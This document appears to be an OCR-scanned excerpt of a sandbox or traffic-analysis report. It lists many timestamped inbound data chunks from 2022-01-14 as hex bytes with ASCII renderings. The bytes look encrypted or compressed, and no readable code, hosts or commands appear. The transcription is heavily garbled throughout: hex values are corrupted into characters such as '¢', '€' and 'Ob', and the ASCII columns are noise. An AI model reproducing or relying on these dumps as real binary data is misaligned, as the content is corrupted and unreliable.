Data Ascii: pJ'ZvZHCGar20.M2S,7g,ukNs#U]1g-8ZHA83~MRMUM~d[Fc+R(<Lghz."JS(owo/u [BOgq_zs>/-fIEO<$q:w.2$9"

2022-01-14 03:59:52 UTC 5950 IN Data Raw: 58 50 24 cb 93 01 26 6d 2c d1 b2 bc Ob 8a 37 be 6¢ 1d 0d cc 3e 55 48 71 36 49 9e 24 bd 11 21 a3 58 09 b4 e7
d3 d6 57 1e 40 a4 d7 08 2c 99 da c0 de ef 03 d3 66 60 7c 6a f2 57 f9 4c fe 77 82 94 78 c3 ba 6¢ 8c €0 02 19 cd 32 89 el af
56 43 7ada 4c 19 34 c2 98 ed 77 20 05 82 Ob 9e 78 c7 9c 9c 5 a2 8e 19 c9 69 ec f8 95 de 57 62 70 e2 {7 42 29 07 a0 42
Oa 7f ac 2f f8 a4 83 23 38 cc Oa 43 87 8f 27 48 37 e3 45 f4 2¢ 1e 3b 09 98 46 8a 55 5f ab 27 bl 2c 77 5b 44 bc 88 94 64
35 3d bb 68 74 c5 ef b8 45 b5 bc f1 29 55 f4 3 48 e5 77 c0 a5 c9 ff {6 4b ¢7 c9 74 47 a9 47 73 31 af b3 9b 95 7f 5a d6 cd
90 ff de 2e 62 bb ad cd el 51 97 1e 97 b9 5a 5b 8a 12 94 33 6f 05 57 d0 2a a7 4b 9 ef f2 3b d4 d5 60 38 08 f0 b9 80 ac 32
ed 7b 2d 20 42 0d d2 cf al b0 c9 Ob 9a 26 2f d7
Data Ascii: XP$&m,7I>UHg6I$IXW@,f [jWLwxI2VCzL4w xiWbpB)B/#8C'H7E,;FU_",w[Dd5=htE) UHWKIGGs1Z.bQZ[30W
*K;'82{- B&/

2022-01-14 03:59:52 UTC 5966 IN Data Raw: 71 c6 37 bd ab ad ba 72 26 48 36 Oa 12 61 d8 fe 72 f6 92 1b 80 93 8b 9d 02 57 c9 ea 2a 31 90 ee 1a Of 10 46
ac 12 5b 8e 7d 57 52 9d a4 d1 4d c6 a2 ff ba 8a 45 5a 82 el 61 33 4b ab b9 f0 87 42 83 c5 7d a8 84 79 86 fd 45 2a c4 7c
ac d8 c2 c3 2 90 0f 12 a9 7 d8 a4 a9 54 cc 23 4b Ob d5 02 d1 9e 3d 84 63 76 72 Of b8 3a 00 1c 73 16 56 al ff Of 7d 71 db
57 c9 cd 89 9a 6b 6f 3b 10 bf a8 ac 4a 9e 3a 2e b0 83 60 Ob 93 da 52 e4 9c 60 ff 21 44 15 fa 37 d4 c8 4a 36 29 53 d5 da
aa 2e a0 02 67 ff 6a fa Of fc f5 3e 03 66 bb 2f ¢8 0d 56 87 6b bc 7d 6e f4 bc e3 ae ab b6 7d c8 b3 ef 38 92 56 e7 b3 3f d7 fd
93 ec 3b bc 2d b6 a3 6b c1 c5 a7 57 75 8c 30 da 42 cf 96 34 e2 a3 f6 3¢ bf a8 a9 b7 27 67 d8 e9 72 64 51 b2 d2 37 dO 31
2c cb 2f a8 ac 6d ef 43 38 5e 24 44 0d 3e d5 e2
Data Ascii: q7r&H6arW*1F[JWRMEZa3KB}yE*| T#K=cvr:sV}qWko;J:."R"ID7J6)S.gj>f/Vk}n}8V?;-kWu0B4<'grdQ71,
/mC8"$D>

2022-01-14 03:59:52 UTC 5982 IN Data Raw: 0 55 08 60 41 76 77 ed 82 36 4f 65 32 54 06 77 6¢ ae 9a b7 e8 09 dd 82 2e 60 19 a2 f1 39 64 Oe ee e4 ba d9
52 e8 cf 51 81 f5 4f cO Ob 1d 44 a0 28 f5 9a 3¢ ca Oc 3b 30 8d c2 d8 8e 59 10 29 2c f5 3a d6 90 €0 72 ad 4f f2 33 5f 73 9d
28 11 a2 fd 4c 03 31 d7 89 c2 9f 06 7f 21 9c 09 2d e4 88 74 7e Oe c4 03 9a ab ae 42 5d 9b Oc 98 58 4b 89 40 b4 a0 02 32
7d bf 6e 22 0 Oe a5 22 03 2b 28 33 49 ch 54 a6 09 63 79 8c b3 14 0b 95 17 2d 96 d0 27 9a €0 d9 24 b5 f2 5b 05 cd bl 3a
¢4 81 13 47 cc d4 b8 c0 35 1c 3e a3 84 6¢ b5 ca 31 bf 6 bf 81 cb 35 19 9b 13 Oc 99 06 a7 1b b6 ba 79 42 ca b2 11 c7 0a 4
18 11 0b 13 d0 da b9 51 47 5¢ 33 05 9e 93 eb ce 16 33 fd 44 3e 9f 46 8f 70 27 Ob 95 d3 6b 52 87 41 d9 a7 2 55 11 18 ff 8¢
41 60 5d 94 Oe 51 03 a9 29 c9 51 76 2c 9e 8d 85
Data Ascii: U'Avw60e2Twl." 9dRQOD(<;0Y),r03_s(L1!-t~BIXK@2}n""+(3ITcy-'$[:G5>/15yBQG\33D>Fp'kRAUA']Q)QV,

2022-01-14 03:59:52 UTC 5998 IN Data Raw: 5a 7a 94 9c a0 39 ed 19 35 01 al 3f 78 11 88 9a Oe 30 d2 99 21 19 88 e6 24 ca a9 89 08 b5 c6 43 87 4c e7 5d
ee e5 ef 6a d9 ca 7a 30 62 90 df 43 15 ec 87 57 db 55 8d Ob 5e bb 80 f1 46 5e 5b 27 eb 12 f4 84 ab Oc a6 5e a4 4d 6b bf
10 b9 a8 65 66 6e f9 50 60 71 0f 3d 78 0d 33 9f 7c 2c 70 79 54 Oe 8e 48 b4 80 69 dO a5 ab 3d 84 70 20 57 26 fd 4e 3e a4
120 9d 6e 28 31 1c 9c 7e le 84 c3 52 a4 b5 85 25 3e be f6 fc ff 25 d7 c1 19 cb 52 0 dd f3 dc 5¢ 42 24 96 f3 95 58 d2 19
5b ca 1f 3f 7b 3c 78 91 05 36 97 d4 1b 29 cb 18 83 ea 70 18 e1 47 76 03 7d 58 30 55 f1 78 e0 75 61 5b 51 01 e4 c8 c2 60
ae 59 be 24 8f 9f 91 5¢ 22 ee 91 84 1f 7f 56 7b e0 33 e7 bd 6¢ 51 62 fb f1 93 da 7f 45 59 30 fc c6 22 39 61 5d 96 32 18 59
4e 42 33 d7 09 67 ea ad a7 16 f1 ca 01 57 ed 4a cO
Data Ascii: Zz95?x0!$CL]jz0bCWUAFA[*MkefnP q=x3|,py THi=p W&N>n(1~R%>%R\B$X[?{<x6)pGV}X0Uxua[Q Y$\"V
{3IQbEY0"9a]2YNB3gWJ

2022-01-14 03:59:52 UTC 6014 IN Data Raw: 16 2e 27 67 aa 9c b9 1a 70 25 82 3e Ob 66 1a 04 22 6d 21 7a 65 d1 27 e2 54 5d c0 65 1f 1f 64 f8 f3 87 42 Oc fe
54 38 53 c4 37 e6 86 28 c2 16 f0 f5 fd 32 22 d7 a4 27 cO cb d3 ed 37 el 75 94 41 al 38 b0 70 2b ef 45 5a 35 51 12 2b ce
59 Oc Oc b9 b4 9e 9d ¢3 70 99 19 85 6a 92 44 c1 1f cd 39 b6 dO 8e 79 e0 43 b7 80 2¢ 72 15 89 f4 f4 3d 1b ec cc 25 00 52
03 a2 3e 80 23 d0 a7 5a 15 8c 32 Oe f7 97 5b b0 a4 ce d1 2f 05 02 00 1a bd 12 62 12 6d 1f ef 73 02 Ob de 9d 33 02 83 cc
7d fc 77 6b 3f b9 4d ab 02 91 67 8f b5 cd 12 75 7e 95 36 35 4f 6d 93 76 c6 f1 d6 50 63 71 1a d3 e8 cc ch 89 13 ed df 61 63
cb fd e3 7c 4c a7 b7 36 49 ba a4 c1 32 {7 f3 el 59 b9 1a 18 83 86 bf f7 cf 63 51 e3 cd c0 83 d1 ed 80 17 2b ac 6b 5b c4 Oa
5426 39 €132 ¢4 09 b6 1c 71 bc 4c aa 22 82 ad
Data Ascii: .'gp%>f"m!ze'T]edBT8S7(2"7uA8p+EZ5Q+YpjD9yC,r=%R>#Z2[/bms3}wk?Mgu~650mvPcqac|L612YcQ+k[
T&92qL"

2022-01-14 03:59:52 UTC 6030 IN Data Raw: 59 5e 42 42 4a 04 43 1a ff 8b 4f b2 c7 25 e7 31 2a bl 5¢ 92 4e 36 bf 8d 97 ae 65 d9 5d ff 30 43 c6 0f dO 26 4e
22 9e 2d 40 a4 f0 90 02 1d 1a 9c 4e f8 10 f4 13 ef 74 12 30 42 eb 42 95 99 06 89 ac df 35 53 df 7b e6 dc a2 5a 1c 1a cO 09
71 e4 8ff7 7e 2d d5 72 8e c9 bf 68 d0 51 d6 1c 01 fc 71 00 5d b4 d1 90 e3 10 45 1d 89 c1 05 6d 15 c4 14 ad 28 42 9b el
6f 5f 80 1a ce d6 95 50 a6 3b 92 89 88 7f 63 69 1c dc c1 53 a7 5a b4 30 84 64 0a 3c a9 5e 55 d4 4f 48 5f b3 04 b5 3d 85
00 2a 92 6e 92 26 90 cc dO 1f 08 e4 55 a2 ba 40 4c 08 7a b7 84 ab 77 25 ec cc 17 1d 04 7b b0 26 98 55 14 17 7e ee 06
10 04 9e f2 6¢ 63 23 41 90 48 bb f9 95 31 58 3b bl 81 c3 6e a5 61 41 ba 68 83 de 1a 4d 37 60 a6 15 77 19 87 28 95 5b 23
53 56 da 8f 5a 02 37 5f {7 56 96 62 58 41 5a 7f 22 18
Data Ascii: Y"BBJCO%1*\N6e]0C&N"-@Nt0BB5S{Zqg~-rhQqg]Em(Bo_P;ciSZ0d<"UOH_=*n&U@Lzw%{&U~Ic#AH
1X;naAhM7 W([#SVZ7_VbXAZ"
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:52 UTC 6046 IN Data Raw: 79 98 5¢c 00 98 2d 20 16 ce d9 47 01 07 ff e7 81 32 14 07 af 29 33 d2 37 96 94 3f {7 c4 93 bb a3 1f 4d 66 73 49
2e 01 baal 90 55 01 08 1a 24 2c c0 4d 08 54 fb f6 bf 54 91 ae e6 39 d8 87 37 1c 34 da 3d 0f d7 bc Oc fb 31 10 65 9b 08
53 44 8a ed 9f ef e6 57 26 06 83 59 d8 2c 66 53 14 80 3d 06 3d 64 25 d7 Oc 1b 47 dd 78 7a 5d 2f 4a 5b bd 6d 53 cf e8 6d
Oc f1 ce 3a 2a be 68 5b 18 1c 37 f4 e3 8e f7 46 eb 60 1b 2e e5 fe 27 d7 d3 el 12 b9 0f 93 e4 20 d5 2f 7e 71 c2 b5 9c 74 d4
6b 88 1d 72 2c 10 67 df 06 fa ad 16 fa 64 a6 4f 5¢ 8d 82 2e 73 c4 8f b5 1a 6a 28 73 ca c5 2d 2d 72 03 4e 08 54 66 51 eb
83 27 06 2f 8e 24 b9 f9 d8 46 4e 8d e0 f5 34 dd 9a 21 48 8d 78 9b 17 58 3c Of c4 3a cb 7d be e2 cb d7 df 80 0f 39 d3 a7
2d 7c 2f 71 71 cc 07 1e €9 f7 9b d2 f9 91 42 fc a4
Data Ascii: y\- G2)37?Mfsl.U$,MTT974=1eSDW&Y ,fS==d%Gxz]/I[mSm:*h[7F." /~qtkr,gdO\.sj(S--rINTfQ'/$FN4!HXX<:}9-|
/qgB

2022-01-14 03:59:52 UTC 6062 IN Data Raw: 26 c3 0a c2 7e d0 17 93 3e d3 19 87 ea b9 ea 33 78 c0 72 8b 34 6d ac c6 fd 54 fc 43 6¢ d7 de 21 bb 22 79 24
c9 2b 6d d2 57 a8 a5 d8 61 61 c8 42 c7 c8 46 c8 1d 80 94 25 18 94 dO 76 04 ef Ob 12 8b 9d df 1e 00 34 8a e4 e7 ec 2a ee
fO 14 7 cc dc 11 a0 74 fa 69 4d 8e 3c c¢9 d2 f2 eb 8e 56 fb 7c 18 66 66 a8 15 93 b1 b4 ce b8 d2 b4 e0 b3 97 28 87 08 d4
2b 4b d1 e4 b9 62 e5 2c¢ 1e 80 59 db 63 50 22 42 15 34 c4 d9 a3 8a 3a 43 d8 71 3a 18 97 b3 Oe 61 6e 25 00 5¢ dc e4 2e
20 d0 50 10 Ob f2 b5 3f 28 15 8f 05 64 94 f9 37 f4 3b 2a d6 3e 5e 67 2a 64 1f e2 79 64 1f f6 27 c1 22 d5 41 6d cd 93 2c 88
a7 c4 f3 1f 7d 30 94 a7 0d 37 19 64 68 51 96 b3 25 28 9e 20 2f 35 eb f8 89 f9 d3 ad 24 9¢ 89 dd 20 c1 54 04 ce 81 47 71
48 41 8e 85 63 5d 7e d8 19 7b 46 3f 1f 08 ee ec 8f 3a de
Data Ascii: &~>3xr4mTCl!"y$+mWaaBF%v4*tiM<V/|ff(+Kb,YcP"B4:Cqg:an%\. P?(d7;*>"g*dyd™Am,}07dhQ%( /5% TGqHACc]~
{F?:

2022-01-14 03:59:52 UTC 6078 IN Data Raw: df 2c 31 3b 5b 8e ef 66 dd 43 fO 7e 91 ce 9b 80 8f a6 62 29 fe 34 59 9a 48 86 98 8e ba 9b cd 90 7d 79 24 58 72
c1 19 6¢ 17 aa 86 c2 e5 da 9b 6f f1 c9 08 ef 64 84 cc 27 41 9e d1 20 02 ae fe b3 51 6¢ 1a el 1e 61 fb 4a c8 91 3 b8 09 dd
8d b2 €9 58 b9 9c af ba 12 a9 61 93 6e 3a al 67 92 cf dO c2 f1 63 53 a6 28 6a 2b 09 f2 6a dd 43 eb a2 b3 Oc 7d 49 29 c3
46 d7 a3 cf 76 ca 54 07 97 96 6¢ 43 9c bf a3 42 cb 8f 35 39 45 e8 17 6d 83 71 d3 fd 3b 8b ce d9 64 fb b5 ea 3c fe €3 2e 8a
d1 47 16 Oc f7 62 a8 75 66 29 {7 7 f9 4f d1 ad 72 2d 46 b9 b0 cf 17 37 c0 14 9a 73 1d a3 76 57 Oa c6 6e 41 95 8c e5 28 6d
d4 81 b9 32 21 56 2c ba 67 c4 b9 86 8f ac 61 3c 48 19 3d a3 0f 17 fb ba 33 5f d3 10 22 4a 94 5d e9 4c 45 a0 8b 04 77 fe
ba d9 0d 11 45 57 94 f4 Oc 3f 87 44 2e 90 07
Data Ascii: ,1;[fC~b)4YH}y$Xrlod'A QlaJXan:gcS(j+C}H)FvTICB59EmQ;d<.Gbuf)Or-F7svWnA(m2!V,ga<H=3_"JJLEWEW?D.

2022-01-14 03:59:52 UTC 6094 IN Data Raw: 38 ea a9 7c 66 40 25 c0 ca f0 89 ee c7 2e 1c f7 21 d2 68 80 aa 49 44 06 e7 df 1d 80 37 a4 b0 76 1b fc 1d de 55
99 00 d7 49 fa 8a 2c 8c 51 fa 10 f4 98 1a 33 1a c2 5f ad 14 €9 b8 32 64 7a d9 5a 9e 57 4e ea ff 90 04 86 cf 69 58 b5 ac df
c8 fO e3 Oe 73 8e 1f 4c 8f 88 b0 71 b8 a5 4b 2b 3e 3b b1 9d e2 9e 06 4c 7f 65 48 a9 73 1b d9 67 54 93 f8 1f Oe 76 02 7d
b5 7d 53 51 70 ed bc f7 97 83 55 b3 ¢3 35 ba 37 21 05 74 58 ef Oe 29 94 e5 25 ac a6 €9 le c7 51 a7 b2 67 35 40 e6 39 12
8f 97 42 89 67 a3 4c 53 f5 d4 08 cb 8e 1a a0 5a ca db ca 9a 28 a5 89 41 4c f8 3e 58 7d b9 6e 7d 4a 2a c8 95 fc f6 d9 d4
b7 c9 a5 67 d2 el 40 d7 21 b3 b7 30 e8 0f 27 d6 al 46 3c 74 eb b7 5a 3b 10 el 54 €9 77 a6 d9 ea 04 08 92 d4 eb 54 da 7f
d1 c1 82 8b 52 05 66 Ob c6 f3 3c d0 96 ac 40 69 2d
Data Ascii: 8|f@%.!hID7vUI,Q3_2dzZWNiXsLgK+>;LeHsgTv}}SQpU57!tX)%Qg5@9BgLSZ(AL>X}n}J*g@!0'F<tZ; TWTRf
<@i-

2022-01-14 03:59:52 UTC 6110 IN Data Raw: f1 7c 11 2b b0 79 Oc 5b c1 01 68 4a 1a e2 46 ac 8e 90 b9 d7 87 ec cc 31 3e 99 62 4f 88 bb 00 17 53 77 la 8f
a4 9c al b6 c2 51 bb dc 75 59 66 Ob 50 2b 4a €0 ff e3 ee b1 36 11 4e 83 51 be 01 b2 27 67 bf db 7b 5a c1 f4 90 e9 13 f4
bd 02 92 56 58 c5 93 c1 2f 8c fb 3b 58 a2 f0 fO c4 67 6d ef 2e ed al e7 58 7f 67 2f 21 c5 90 4a de 94 b6 a4 12 aa 65 18 f2
56 cf bl 46 15 51 93 Oa 8d 3b 37 89 d1 75 da b1 37 29 48 54 55 da 09 07 ce cd d7 3a al d6 fa 88 bc dd 83 98 c4 ec 04 d6
aaeb 72 e7 1a 8e 4b d2 85 13 el a9 f8 83 c0 a5 8c 6f el c7 be 07 e5 a3 43 0f 1a 92 36 68 db c5 af c1 cd 32 02 91 3f aa
5b 9¢ 5b 90 c0 62 41 74 a0 a2 03 d1 e5 94 ea 41 55 b5 d2 56 16 dd ed 42 31 46 3b e6 e7 6b c1 c7 89 06 ae 3c b4 e6 c8
1792 95 89 16 07 e7 f2 68 4a 32 3e 47 8e 4b el al 0d c9
Data Ascii: |+y[hJF1>bOSwQuYfP+J6NQ'g{ZVX/;Xgm.Xg/!JeVFQ;7u7)HTU:rKoC6h2?[[bAtAUVB1F;k<hJ2>GK

2022-01-14 03:59:52 UTC 6126 IN Data Raw: db 75 1e b1 0f dO 77 eb a9 bb cb ad 8d da 19 32 77 8a a3 17 d9 dc 14 9c 48 17 80 5a 89 9e f1 5e 68 cb 6d bb
89 9f 8 f9 95 3¢ 30 71 3d 3e 32 bc 71 5d 9b e5 82 28 13 6a 5f 9a 65 d2 da bc 13 1b 4e 2e 9f 1e 5d e7 a9 d5 d3 4d 51 93
2 4d 3a 32 14 4e 48 4d f6 d8 7e 76 b8 b1l 6f 15 2e e2 55 96 €5 61 bb 7f b9 b1 01 00 c3 al f0 12 99 b2 cf 48 c2 d3 d3 56
7794 16 c3 31 fc 46 81 c4 60 54 4c dc 35 e7 66 38 25 f1 9b bb 9f ab 1b 83 4b 2a 10 db cc ba e8 06 d1 aa 09 12 04 7c 34
b5 8a f9 5b 38 8a 30 c1 d3 33 8e 92 a0 c8 02 f6 12 5e 01 b2 93 b4 dc ce 4d ef 48 92 63 91 18 39 a8 b7 e6 a9 fc 11 9e e0
01 2a e8 03 32 8e dd 87 06 db 2a da 33 87 6¢ 83 bf c2 21 6¢ ba 08 22 77 eb ¢7 c2 81 a7 0a 73 36 cc 22 ca ed d1 7b e6 22
2b 09 al 46 db 22 59 29 03 6a 13 18 fe 3e e8 ed ¢4 5d 73
Data Ascii: uw2wHZ*hm<0qg=>2q](j_eN.]MQM:2NHM~vo.UaHVw1F TL5f8%K*|4[803"MHc9*2*3llI"'ws6"{"+F"Y)j>]s

2022-01-14 03:59:52 UTC 6142 IN Data Raw: 41 60 cc df 98 €3 60 66 da 17 5c 59 40 f3 a7 56 dc b6 1b ef a8 5a 97 09 4c ed ab db 5e 4f 2d 70 78 75 16 63 2f
08 ce 13 f7 58 73 a2 6d 5d d0 eb a8 ea c8 f9 68 d7 ec 5e 66 05 ba 45 5a 74 f1 9c 93 1c Of e8 1f 19 a9 b0 44 0f 64 ee e6
34.¢7 91 1c 9d 98 b0 31 ea 02 24 9d 4 7b ce d4 d6 b0 61 58 e5 2e 05 36 63 cO 1b 32 42 1c bc f2 a3 a7 ba 62 0b 47 81 0d
7a 99 da 1e ca ad 36 ff a4 fc 29 24 18 4a 2d 5d 8d d5 90 d3 4f b0 05 27 bb be d6 41 64 86 f4 64 9c 7f 18 cb ec €8 4e 2a
83 13 9e 55 6d 24 bb b1 dc 5b a9 66 8d 5f 29 0f 58 47 78 4c 43 72 c2 ad 3e 3a 17 75 c6 75 2f 75 9f 24 31 be 6d e5 cf 3e
a2 c6 50 e8 15 fc 04 96 bf 10 Ob b4 9f 82 1b 69 9a 9c b8 d1 b9 Oe 39 26 5e ed 67 d4 Oe 57 5f b7 14 19 53 52 0a 93 87 84
dd ac a5 04 d3 d8 48 24 47 33 53 7e 34 f2 ab 94 ef df
Data Ascii: A f\Y @VZL"O-pxuc/Xsm]h"fEZtDd41${aX.6c2BbGz6)$J-]O'AddN*UmS[f_)XGXLCr>:uu/u$1m>Pi9&" gW_
SRH$G3S~4

2022-01-14 03:59:52 UTC 6158 IN Data Raw: Of 16 5b 44 e3 7a 82 3c 86 0a 2a 92 1f 3d bd 9f bb ec 7d ¢4 3b 47 24 9c 07 2a bf 00 2a b2 97 b4 04 c5 f9 d3 95
ed df 76 8e fe 95 9e 20 4c 3c 90 c1 47 7f f2 ac €2 7a cb Ob 06 50 4b 35 1c a2 la ea 4e c¢9 b7 a7 10 03 3¢ 51 09 f4 01 2¢ 9¢
56 bd b2 be be 30 5¢ eb b0 3e 85 58 12 94 5a 05 38 fa Oc 4b 03 6a €8 24 a2 ee 6 8d 72 05 08 40 74 05 7 96 90 4b 93 08
65 2a 00 35 8f 5¢ 09 9c d6 44 40 2¢ 09 99 c0 Ob b5 13 65 97 58 ff 5b €8 b5 1c bd 3a c4 6e e2 1d al b3 3e 33 a2 9d 8b 3b
Oc 31 2d 63 a8 d3 a9 c4 7a ad 5¢ 8e f2 f4 1a 6a 41 16 3d 21 87 3a 81 25 56 02 df 58 36 ba 5f b9 84 75 b5 c9 cc 92 a7 03
7e aa 4e 8e ea c7 3d 25 bb a6 b8 d4 96 4f 78 11 2f 80 8a 98 12 fc f9 7e d5 4e eb aa 70 69 19 eb c7 05 c0 c9 4c f4 47 90
Oe 66 34 3c a9 d5 aa 35 ea 4f ¢7 20 f5 83 94 c4 df
Data Ascii: [Dz<*=};G$**v L<GzPK5N<Q,VO\>XZ8K|$r@tKe*5\D@,eX[:n>3;1-cz\A=!:%VX6_u~N=%Ox/~NpiLGf4<50

2022-01-14 03:59:52 UTC 6174 IN Data Raw: ef 85 43 ed 8b 2b a7 53 64 7f 1b 25 3f 41 59 d2 a7 17 e5 fO dc 12 3e 31 bf b8 ca c4 7e e7 c5 56 37 ec 4f c4 a2
57 ee 4313 55 ca 6¢ d9 b5 37 d0 ad c2 53 42 9a e6 1b f2 88 78 a5 41 84 52 6¢ 87 17 d8 48 f5 f6 48 e2 79 27 42 d7 9f 26
el cl 4166 1b 59 d6 3c 3a 8e bc dc fa 2f 1f e3 ff 01 cd 26 2b a8 f1 a9 82 14 8d 96 f1 cc b7 65 d1 c9 d5 4e 1a d8 85 74 13
ef 04 cf 29 ec 56 4e e2 12 ff 5¢ 3a 55 f3 5b d0O cb d3 d3 d3 66 8b b7 24 48 8f d1 c2 47 ¢3 2b f1 77 20 10 26 76 55 09 da 7a
9f 65 d3 fd 00 5d 63 6e 75 23 ea f8 13 fc ef 68 e8 54 01 54 8f f2 73 06 11 f2 6d 48 2d 3b d9 9a f5 bb f0 17 cf 26 2f 09 a2
02 54 2e 57 cf €9 34 9e 2e 0d dd de 92 dd 3e 93 6f 52 38 50 b8 37 22 f2 6a 51 f9 7f 12 a5 6e e6 09 2e 69 47 7a 18 65 5
1c fc ef 96 4d 21 1e 8e 2d 58 86 b5 5f 25 2b
Data Ascii: C+Sd%?AY>1~V70WCUI7SBXARIHHY'B&AFY<:/&+eNt)VN\:U[f$HG+w &vUze]cnu#hTTsmH-;&/T.W4.>0R8P7"
jQN.iGzeM!-X_%+
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:52 UTC 6190 IN Data Raw: el 01 Oa 52 77 fd 5e f4 eb a2 7d db e7 33 aa 5f b7 c7 Oa cc eb 15 a3 91 ab 33 28 d5 36 30 7a ae 43 cd 10 c3
b3 c2 d7 4b 82 11 8c ad 12 fb 7a 82 13 9b 24 15 c2 24 2d e2 e4 18 7d 31 90 fc 2f 9f 8c 7d 4b a6 6¢ d8 al e8 44 d2 66 29
0276 19 d3 60 22 13 71 ca b9 8e ea cd b3 ef 91 4f 22 e5 44 11 42 90 7f 27 74 68 ad a6 bd 1b 26 c4 3f 46 74 3 6f ec 4c 26
bf 7c f6 7c 66 el Oa 4e 6d 90 c2 bb 6f 58 28 08 3a d4 81 7d a3 ed 3c 38 26 e4 a6 99 3b c6 b7 ad 92 db 6d 37 7f a5 56 aa
44 90 6a e2 f5 ef 55 ea 22 1a 21 7a b0 c0 7a 67 1d 53 73 59 c4 5e 7d 77 dd ef f7 55 c4 67 bb 88 fc 31 b8 90 Oe f4 06 32
0b 8b 37 b0 54 5d 9d ee ce 8d 61 61 58 54 7b 9d eb 4f 62 fb bc ba 08 76 65 c6 da Of 25 e4 cb c0 8b 9c b6 26 97 22 89 e8
24 65 dc 92 eb c7 1f f3 7b 87 b4 63 27 61 45 d2 a0 64
Data Ascii: Rw"}3_3(60zCKz$$-}1/}KIDf)v "qO"DB'th&?FtoL&|[fNmoX(:}<8&;m7VDjU"lzzgSsY wUg127T]aaXT{O
bve%&"$e{c'aEd

2022-01-14 03:59:52 UTC 6206 IN Data Raw: €9 82 04 f4 03 76 84 ef b4 56 51 c1 24 02 85 36 ac 8b 00 f2 59 1d 46 d8 2f 4b Ob f3 70 95 84 ef fa 7d 67 fe 1a
56 74 09 3 18 b5 60 eb 50 58 50 b4 50 42 17 d3 8d 4b 5c f6 af 38 eb 8d b7 e2 06 67 1e 17 7b 06 35 60 64 55 ec ae fO 8e
b8 45 03 ae 12 77 13 96 a9 23 25 d0 ¢7 00 8a 62 ca 79 57 d2 13 70 77 b9 1c 5f 94 35 a0 ed 8a 73 58 63 73 02 14 6¢ f2 85
77 2100 2a 17 33 4c eb 26 be a2 Oc 4b 93 64 Oe f2 92 47 5f 8¢ 10 a7 cd 4f c2 84 bb ff 7b e1 63 36 45 9e 7d 96 51 06 3d
96 66 81 d6 1e d6 24 45 d8 d3 ce bc 04 80 46 68 af 8¢ cd 34 49 30 77 a5 8e b6 20 a2 71 eb f6 75 €7 c6 9a 37 eb 7a e7 2e
02 e0 b0 38 68 08 ef e4 ae c7 a4 7d f8 f6 c6 7d 19 da ff a8 a9 4d 77 1c Oe ef d6 14 e6 4b ea 28 c8 f6 f2 09 c9 f3 76 f2 e6
15 a0 50 f7 a9 c2 92 1b fa 6a 7d 58 c7 al 35 cc 64
Data Ascii: VWQ$6YF/Kp}gVt PXPPBK\8g{5 dUEwW#%byWpw_5sXcslw!*3L&KdG_O{c6E}Q=f$EFh4I0w qu7z.8h}}MwK(vP
jIXsd

2022-01-14 03:59:52 UTC 6222 IN Data Raw: 28 ce ca d7 8d 0d d0 2d 49 e3 11 c0 21 09 1f 80 e3 ¢8 00 76 al 2e 19 8¢ 9d d7 13 34 ce c¢7 2a b0 c8 62 ca fb
d9 47 2c d0 23 84 72 e7 ff ff 8e 58 b2 7e d7 a9 9b 93 7 31 bc 8f 17 d4 fc 45 e2 09 07 92 4c 6b e7 4f 42 f7 30 83 71 d3 97
86 8f a7 4f 15 d7 58 18 81 af 50 9d c2 9f 8d 2c 5f b7 80 86 7e 88 ca d2 d6 2d fa 6e 1d 67 98 35 €0 8e 68 ca 17 c3 2¢c 41 93
€0 a0 d7 3a b8 91 a3 f1 d0 93 08 88 8d €9 25 9b 29 1a 59 c6 dd f5 Oc b9 c8 Oe 87 a4 f9 c3 b1 9f 5a 7e 80 80 69 cd fe 3b Of
7e 56 be 31 fb 96 d3 92 7 fd 4d 17 35 9f Oc e4 8e ab 95 4b al 5f 7c 9a 73 a9 16 44 b4 6f 78 1b 7e bd 7d 9b 80 37 6e Oe
85 b1 84 74 31 36 1a bd 39 95 42 el d1 5¢ fb 78 ed 6e 7e 84 f4 ba f6 11 6f 1b 13 €7 ¢3 bd c5 cc 4b dd 0f 11 b1 71 d5 51
11 4c 70 8b 26 f2 af 56 26 f1 7d 77 cc fc dc 17
Data Ascii: (-1'v.4*bG #rX~1ELKOBOqOXP,_~-ng5h,A:%)YZ~i;~V1M5K_|sDox~}7nt169B\xn~0KqQLp&V&}w

2022-01-14 03:59:52 UTC 6238 IN Data Raw: 2a 47 ¢5 71 d1 ca 39 0d d2 f7 33 00 f5 d5 b5 69 el cc 61 c4 6a 55 76 4b 25 74 73 50 91 5¢ 91 05 88 36 40 93
f0 62 de 11 88 8d c4 65 2d 9a d0 d4 dd 68 a4 bb 17 4b 86 e3 ec 18 b5 8f c2 2e a2 2b e4 9d 44 d2 93 97 09 f3 6¢ 92 42 04
11 3b f8 45 b1 fb 7e 6¢ c5 98 51 26 a6 41 24 04 92 70 8e da 91 f5 ea 4d fe ad 81 6¢ e5 9d 63 dd f2 f5 68 63 ac e5 39 c9
e2c27c5eeb 1051 d3chbae 84 el Ob a9 cl e3 42 a4 6e d6 d3 7b 74 01 16 98 b4 bb 47 2e ba da b7 d5 68 a8 98 €3 a4
5f 68 5d b0 1f fc 1e 46 12 cd ca 2a 9b 46 1c Oc b4 09 9a 55 53 14 d0 c9 12 90 f1 6f Ob 2e 50 d5 9e Of 5e 7d 42 cb ca e8 {3
23 1d f0 93 f1 dc f7 a8 c3 ee 5a e5 fc 60 68 44 86 5¢ 50 7d 9c 3d c9 82 f9 3d e0 15 70 04 1c 5¢ 4f 89 19 96 99 a3 45 d3 c2
d5 8b 89 f5 67 7f 6b Ob ca ff 2a 10 d1 fc bf 46 f9 35
Data Ascii: *G(93iajUvK%tsP\6 @be-hK.+DIB;E~IQ&A$pMIchc9|*QBn{tG.h_h]F*FUSo0.P"}B#Z hD\P}==p\OEgk*F5

2022-01-14 03:59:52 UTC 6254 IN Data Raw: d3 4b 71 dd 91 77 5a 99 fe 42 46 cb f4 ed 87 3c 85 4c 2c Oe e5 cf 4a b5 37 b7 3a ec 65 71 e0 ad 77 28 ac 5e 6f
a4 bf 3b cc 9a 13 e5 fc 57 f5 b2 66 4a 6b €8 01 36 9f 6b dc 71 9e 7e 36 c6 2e 4e 3d fO cf aa 4c 3a f2 3a b8 3a 5f f1 31 72
fd 7d 72 52 ec 97 cc df 79 d4 a4 1le d9 ad a2 f1 ee 54 b3 89 64 6a 06 12 ea d7 2d 86 66 38 21 b3 38 67 06 3e 14 86 71 55
al 8a 54 7 48 91 82 fb 88 bb d4 f3 e2 8e 49 €9 95 1c 79 1d 23 c2 ec f1 6d 6b 1f 11 03 68 63 3e 71 cb 67 b4 5b d8 76 d4
